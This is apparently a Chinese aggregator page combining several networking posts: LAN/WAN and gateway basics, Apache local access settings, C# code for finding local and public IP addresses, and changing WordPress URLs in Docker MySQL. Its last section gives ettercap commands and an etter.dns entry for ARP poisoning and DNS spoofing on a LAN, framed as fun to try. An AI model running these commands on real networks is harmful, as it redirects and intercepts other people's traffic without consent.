如果您对网关,路由器,局域网,广域网络_局域网和广域网是什么意思和路由器广域网和局域网区别感兴趣,那么这篇文章一定是您不可错过的。我们将详细讲解网关,路由器,局域网,广域网络_局域网和广域网是什么意思
如果您对网关,路由器,局域网,广域网络_局域网和广域网是什么意思和路由器广域网和局域网区别感兴趣,那么这篇文章一定是您不可错过的。我们将详细讲解网关,路由器,局域网,广域网络_局域网和广域网是什么意思的各种细节,并对路由器广域网和局域网区别进行深入的分析,此外还有关于Apache 设置本地(局域网)访问、C#实现获取本地内网(局域网)和外网(公网)IP地址的方法分析、docker 容器下 mysql 更改 WordPress 的 site address 和 home(URL)------ 局域网、ettercap 局域网 DNS 切换到恶意网址的实用技巧。
本文目录一览:- 网关,路由器,局域网,广域网络_局域网和广域网是什么意思(路由器广域网和局域网区别)
- Apache 设置本地(局域网)访问
- C#实现获取本地内网(局域网)和外网(公网)IP地址的方法分析
- docker 容器下 mysql 更改 WordPress 的 site address 和 home(URL)------ 局域网
- ettercap 局域网 DNS 切换到恶意网址
网关,路由器,局域网,广域网络_局域网和广域网是什么意思(路由器广域网和局域网区别)
网关、路由器、局域网、广域网
网关:连接一个网络到另一个网络的关口,不同的网络有不同的网络地址,以及不同的网络中的主机分配有不同的段的ip地址。 网关可以实现广域网的互连,也可以实现局域网的互连 现在通常说的网关就是路由器的IP 只要两台电脑能够相互ping的通,就说明两台电脑属于在同一个局域网中。
路由器
局域网就是内网,而内网就是局域网,一个学校,一个单位就是一个局域网,在同一个局域网中,所有的ip都是不一样的,但是在两个不同的局域网中,ip地址可以一样,
使用ipconfig查到的是你内网的ip地址,整个学校就是一个局域网,整个学校的电脑都连接在同一个服务器或者路由器下,而外网就是互联网,我们需要访问的百度或者哔哩哔哩就是外网,我们需要访问外网,我们先需要通过自己的电脑给,学校的那个服务器或者路由器发请求,学校的路由器或者服务器使用公网中唯一的ip去访问百度或者哔哩哔哩,也就是整个学校的所有人,需要访问外网,使用的都是一个路由器或者服务器的ip。
你可以在www.ip138.com上看到的是你连接互联网所使用的IP,即外网 这个ip地址就是我们学校访问外网时,使用的外网IP
而如果你将电脑连接到互联网,你的网络提供商(ISP)的服务器会为你分配一个IP地址,这个IP地址才是你在外网的IP。两个IP同时存在,一个对内,一个对外。也就是你的电脑会同时存在两个ip。一个ip是外网的,一个ip是内网的。
当你家里买了两台电脑,你想组建一个局域网,你除了要用网线和路由器等设备将两台电脑相连,你还要将两台电脑设置固定IP,比如电脑A设为192.168.1.2,电脑B设为192.168.1.3,这样你就可以用这两个IP地址互相访问两台电脑,但这两个IP地址只在这两台电脑间有效,对外网无效。所以局域网中分配的IP与广域网中的IP完全没有对应关系。你在内网的机子在上网时,都是在向网关发出请求,再由网关(一般为路由器)用外网IP转到INT网上,接受数据后,再分发到你的内网IP上。 8. 在 OSI中,网关有两种:一种是面向连接的网关,一种是无连接的网关。当两个 子网之间有一定距离时,往往将一个网关分成两半,中间用一条链路连接起来,我们称之为半网关。 从下面可以看出,我的电脑和401实验室电脑连接在两个不同的路由器下,或者连接在同一个路由器中的两个不同的网络插口。但是由于我们都在同一个局域网中,所以虽然我们现在的一级网关(路由器)地址是不一样的,但是在上面肯定会有一个路由器,我们连接在局域网中的同一个路由器下,所以当我们连接在不同的网关下时,我们只需要在我们电脑上的路由表中添加永久路由,而永久路由添加的就是我们两台电脑最终的连在同一个网关下的地址,而同一个网关下的地址,需要我们分别分析两台电脑网关的相同ip地址是那几位。比如下面的10.25.31.254和10.22.61.254,他们相同的是10.0.0.0或者10.16.0.0,但是不同的网关地址,对应的网络掩码也不一样。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/184200.html原文链接:https://javaforall.cn
Apache 设置本地(局域网)访问
打开apache安装路径中的http.conf文件 找打以下内容
#onlineoffline tag - don''t remove
Order Deny,Allow
Deny from all
Allow from 127.0.0.1
在Deny from all 前加上#来注释掉此行,并在Allow from 127.0.0.1 后面加上一行Allow from 192.168.1.* 或者 Allow from all 即可。修改后如下:
#onlineoffline tag - don''t remove
Order Deny,Allow
# Deny from all
Allow from 127.0.0.1
Allow from 192.168.1.*
C#实现获取本地内网(局域网)和外网(公网)IP地址的方法分析
本文实例讲述了C#实现获取本地内网(局域网)和外网(公网)IP地址的方法。分享给大家供大家参考,具体如下:
1、获取本机的IP地址集合:
/// <summary> /// 获取本机所有ip地址 /// </summary> /// <param name="netType">"InterNetwork":ipv4地址,"InterNetworkV6":ipv6地址</param> /// <returns>ip地址集合</returns> public static List<string> GetLocalIpAddress(string netType) { string hostName = Dns.GetHostName(); //获取主机名称 IPAddress[] addresses = Dns.GetHostAddresses(hostName); //解析主机IP地址 List<string> IPList = new List<string>(); if (netType==string.Empty) { for (int i = 0; i < addresses.Length; i++) { IPList.Add(addresses[i].ToString()); } } else { //AddressFamily.InterNetwork表示此IP为IPv4, //AddressFamily.InterNetworkV6表示此地址为IPv6类型 for (int i = 0; i < addresses.Length; i++) { if (addresses[i].AddressFamily.ToString() == netType) { IPList.Add(addresses[i].ToString()); } } } return IPList; } List<string> ips= GetLocalIpAddress("");//获取本地所有ip List<string> ipv4_ips = GetLocalIpAddress("InterNetwork");//获取ipv4类型的ip List<string> ipv6_ips = GetLocalIpAddress("InterNetworkV6");//获取ipv6类型的ip
2、获取本机局域网内IP地址:
如果本机在局域网内,直接调用上面的方法即可,以ipv4为例:
List<string> ipv4_ips = GetLocalIpAddress("InterNetwork");
如果本机只有一个网卡,且没有安装虚拟网卡,那么ipv4_ips里应该只有一条数据,即局域网内地址;
3、获取本机的公网IP地址:
1)、如果本机是拨号上网的或具有独立公网IP的情况下,使用上面的方法即可,以ipv4为例:
List<string> ipv4_ips = GetLocalIpAddress("InterNetwork");
如果本机只有一个网卡,且没有安装虚拟网卡,那么ipv4_ips里应该只有一条数据,即公网IP地址;
2)、如果是路由上网的,想获取网关的外网IP,只能通过访问一些公网的地址来获取外网IP了;
步骤:先获取到含有本机外网ip的页面信息,再通过正则获取到ip信息;
/// <summary> /// 获取页面html /// </summary> /// <param name="url">请求的地址</param> /// <param name="encoding">编码方式</param> /// <returns></returns> public static string HttpGetPageHtml(string url, string encoding) { string pageHtml = string.Empty; try { using (WebClient MyWebClient = new WebClient()) { Encoding encode = Encoding.GetEncoding(encoding); MyWebClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36"); MyWebClient.Credentials = CredentialCache.DefaultCredentials;//获取或设置用于向Internet资源的请求进行身份验证的网络凭据 Byte[] pageData = MyWebClient.DownloadData(url); //从指定网站下载数据 pageHtml = encode.GetString(pageData); } } catch (Exception e) { } return pageHtml; } /// <summary> /// 从html中通过正则找到ip信息(只支持ipv4地址) /// </summary> /// <param name="pageHtml"></param> /// <returns></returns> public static string GetIPFromHtml(String pageHtml) { //验证ipv4地址 string reg = @"(?:(?:(25[0-5])|(2[0-4]\d)|((1\d{2})|([1-9]?\d)))\.){3}(?:(25[0-5])|(2[0-4]\d)|((1\d{2})|([1-9]?\d)))"; string ip = ""; Match m = Regex.Match(pageHtml, reg); if (m.Success) { ip = m.Value; } return ip; }
测试(测试时间:2019年6月18日17:37:46):
var t0_html = HttpGetPageHtml("https://www.ip.cn", "utf-8"); var t1_html = HttpGetPageHtml("http://www.ip138.com/ips138.asp", "gbk"); var t2_html = HttpGetPageHtml("http://www.net.cn/static/customercare/yourip.asp", "gbk"); var t0_ip = GetIPFromHtml(t0_html);// 111.198.29.123 var t1_ip = GetIPFromHtml(t1_html);// 111.198.29.123 var t2_ip = GetIPFromHtml(t2_html);// 111.198.29.123
目前这几个url地址都可以用,但不保证长久稳定,如果想稳定可靠的使用,可以使用一些收费的API接口,比如:http://user.ip138.com/ip/
PS:这里再为大家推荐几款IP相关工具供大家参考使用:
IP地址归属地在线查询工具:
http://tools.jb51.net/aideddesign/ipcha
在线IP地址/子网掩码计算与转换工具:
http://tools.jb51.net/aideddesign/ip_net_calc
在线网络计算器|TCP/IP子网掩码计算与换算工具:
http://tools.jb51.net/aideddesign/ipcalc
更多关于C#相关内容感兴趣的读者可查看本站专题:《C#程序设计之线程使用技巧总结》、《WinForm控件用法总结》、《C#中XML文件操作技巧汇总》、《C#常见控件用法教程》、《C#数据结构与算法教程》、《C#数组操作技巧总结》及《C#面向对象程序设计入门教程》
希望本文所述对大家C#程序设计有所帮助。
- c#获取客户端IP地址(考虑代理)
- 获取客户端IP地址c#/vb.net各自实现代码
- c# 获得本地ip地址的三种方法
- 如何用C#验证IP是否为局域网地址
- C#获取本机IP地址(ipv4)
- C#编程获取IP地址的方法示例
- winform C#获得Mac地址,IP地址,子网掩码,默认网关的实例
- C#获取路由器外网IP,MAC地址的实现代码
- C#实现获取设置IP地址小工具
- C#获取真实IP地址实现方法
- C# 获取客户端IPv4地址的示例代码
docker 容器下 mysql 更改 WordPress 的 site address 和 home(URL)------ 局域网
先简单介绍下,用 docker 安装的 WordPress,mysql 是在 docker 容器中的,并未在 Ubuntu(我把 WordPress 是安装 Ubuntu 系统上),即 WordPress 和 Ubuntu 是独立的。所以,就算 WordPress 搭建好了,Ubuntu 上也未安装 mysql。
下面来说说怎么进入 WordPress 的数据库并做修改
- 在 <strong>docker-compose.yml</strong > 文件中查看下 mysql 的 username 和 password(按官网安装的 WordPress 是自己设置的) 其中 MYSQL_USER 和 MYSQL_PASSWORD 冒号之后的即是我们需要的 username 和 password
root@xxx:~# cat docker-compose.yml
version: ''3.3''
services:
db:
*****
******
environment:
******
******
MYSQL_USER: ******
MYSQL_PASSWORD: *****
wordpress:
******
****
db_data:
- 查看 mysql 的 container 名,如下,container NAME 是 my_wordpress_db_1
root@xxx:~# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b03f13a0c99a wordpress:latest "docker-entrypoint.s…" 3 days ago Up 17 hours 0.0.0.0:8000->80/tcp my_wordpress_wordpress_1
ef196d991832 mysql:5.7 "docker-entrypoint.s…" 3 days ago Up 6 hours 3306/tcp my_wordpress_db_1
82cf3b926ef2 hello-world "/hello" 4 days ago Exited (0) 4 days ago hungry_villani
- 连接到 mysql 的镜像中
root@xxx:~# docker exec -it my_wordpress_db_1 bash
root@ef196d991832:/#
- 登陆 mysql,username 为之前在 docker-compose.yml 中查到的用户名,在 Enter password 弹出来时,再输入密码
root@ef196d991832:/# mysql -u username -p
Enter password:
- 查看 database
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| wordpress |
+--------------------+
2 rows in set (0.11 sec
- 选中 wordpress 的 database
USE wordpress
- 查看 wp_options 表单(数据库的 URL 存在这里。)
mysql> select * from wp_options limit 2;
+-----------+-------------+---------------------+----------+
| option_id | option_name | option_value | autoload |
+-----------+-------------+---------------------+----------+
| 1 | siteurl | http://0.0.0.0:8000 | yes |
| 2 | home | http://0.0.0.0:8000 | yes |
+-----------+-------------+---------------------+----------+
2 rows in set (0.00 sec)
- 更改 URL,其中 your_wordpress_url 是你的新 URL,需要的 URL
mysql> UPDATE wp_options SET option_value="your_wordpress_url" WHERE option_name="siteurl";
mysql> UPDATE wp_options SET option_value="your_wordpress_url" WHERE option_name="home";
ettercap 局域网 DNS 切换到恶意网址
ettercap -i eth0 -Tq -M arp:remote -P dns_spoof /// ///
Dns 欺骗 --Ettercap 工具进行 Dns 欺骗
首先,编辑 /etc/ettercap/etter.dns, 里面有 Dns 记录,
*.ddh.edu.cn A 10.10.10.10
这个是 DNS 记录,后面的 ip 是你想让 Dns 解析到的 ip,能访问到的。
其次,就可以进行 Dns 欺骗攻击了
Ettercap -T -q -i eth0 (网卡) -P dns_spoof //////
后面的三个斜杆代表全网段,也就是 10.10.10.0/24
成功截图
觉得挺好玩的,他还是显示的域名,绝对不是 hosts 文件、浏览器缓存啥的。
You can try it! It''s fun
关于网关,路由器,局域网,广域网络_局域网和广域网是什么意思和路由器广域网和局域网区别的问题我们已经讲解完毕,感谢您的阅读,如果还想了解更多关于Apache 设置本地(局域网)访问、C#实现获取本地内网(局域网)和外网(公网)IP地址的方法分析、docker 容器下 mysql 更改 WordPress 的 site address 和 home(URL)------ 局域网、ettercap 局域网 DNS 切换到恶意网址等相关内容,可以在本站寻找。
本文标签: